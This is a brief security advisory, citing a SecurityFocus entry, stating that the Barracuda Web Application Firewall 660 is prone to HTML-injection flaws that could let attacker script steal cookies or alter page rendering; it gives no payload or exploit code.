source: https://www.securityfocus.com/bid/37432/info The Barracuda Web Application Firewall 660 is prone to multiple HTML-injection vulnerabilities. Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
